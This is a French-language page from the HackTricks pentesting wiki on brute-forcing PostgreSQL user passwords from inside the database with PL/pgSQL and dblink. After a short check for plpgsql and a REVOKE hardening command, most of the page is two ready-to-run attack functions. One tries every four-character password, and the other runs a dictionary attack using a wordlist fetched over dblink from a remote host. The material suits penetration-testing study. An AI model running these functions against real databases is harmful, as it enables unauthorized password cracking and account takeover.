hacktricks/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md
2023-06-03 13:10:46 +00:00

7.8 KiB

Brute-Force de Mot de Passe PL/pgSQL

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

PL/pgSQL, en tant que langage de programmation entièrement fonctionnel, permet beaucoup plus de contrôle procédural que SQL, y compris la possibilité d'utiliser des boucles et d'autres structures de contrôle. Les instructions SQL et les déclencheurs peuvent appeler des fonctions créées dans le langage PL/pgSQL.

Vous pouvez abuser de ce langage pour demander à PostgreSQL de forcer le mot de passe des utilisateurs, mais il doit exister dans la base de données. Vous pouvez vérifier son existence en utilisant :

SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
     lanname | lanacl
    ---------+---------
     plpgsql |

Par défaut, la création de fonctions est un privilège accordé à PUBLIC, où PUBLIC fait référence à chaque utilisateur de ce système de base de données. Pour éviter cela, l'administrateur aurait dû révoquer le privilège USAGE du domaine PUBLIC :

REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;

Dans ce cas, notre requête précédente produirait des résultats différents:

SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
     lanname | lanacl
    ---------+-----------------
     plpgsql | {admin=U/admin}

Notez que pour que le script suivant fonctionne, la fonction dblink doit exister. Si elle n'existe pas, vous pouvez essayer de la créer avec

CREATE EXTENSION dblink;

Brute Force de Mot de Passe

Voici comment vous pouvez effectuer une attaque de brute force de mot de passe de 4 caractères :

//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
                                username TEXT, dbname TEXT) RETURNS TEXT AS
$$
DECLARE
    word TEXT;
BEGIN
    FOR a IN 65..122 LOOP
        FOR b IN 65..122 LOOP
            FOR c IN 65..122 LOOP
                FOR d IN 65..122 LOOP
                    BEGIN
                        word := chr(a) || chr(b) || chr(c) || chr(d);
                        PERFORM(SELECT * FROM dblink(' host=' || host ||
                                                    ' port=' || port ||
                                                    ' dbname=' || dbname ||
                                                    ' user=' || username ||
                                                    ' password=' || word,
                                                    'SELECT 1') 
                                                    RETURNS (i INT));
                                                    RETURN word;
                        EXCEPTION
                            WHEN sqlclient_unable_to_establish_sqlconnection 
                                THEN
                                    -- do nothing
                    END;
                END LOOP;
            END LOOP;
        END LOOP;
    END LOOP;
    RETURN NULL;
END;
$$ LANGUAGE 'plpgsql';

//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');

Notez que même la force brute de 4 caractères peut prendre plusieurs minutes.

Vous pouvez également télécharger une liste de mots et essayer seulement ces mots de passe (attaque par dictionnaire):

//Create the function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
                                username TEXT, dbname TEXT) RETURNS TEXT AS
$$
BEGIN
    FOR word IN (SELECT word FROM dblink('host=1.2.3.4
                                            user=name
                                            password=qwerty
                                            dbname=wordlists',
                                            'SELECT word FROM wordlist')
                                        RETURNS (word TEXT)) LOOP
        BEGIN
            PERFORM(SELECT * FROM dblink(' host=' || host ||
                                            ' port=' || port ||
                                            ' dbname=' || dbname ||
                                            ' user=' || username ||
                                            ' password=' || word,
                                            'SELECT 1')
                                        RETURNS (i INT));
            RETURN word;

            EXCEPTION
                WHEN sqlclient_unable_to_establish_sqlconnection THEN
                    -- do nothing
        END;
    END LOOP;
    RETURN NULL;
END;
$$ LANGUAGE 'plpgsql'

//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');

Trouvez plus d'informations sur cette attaque dans cet article.

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥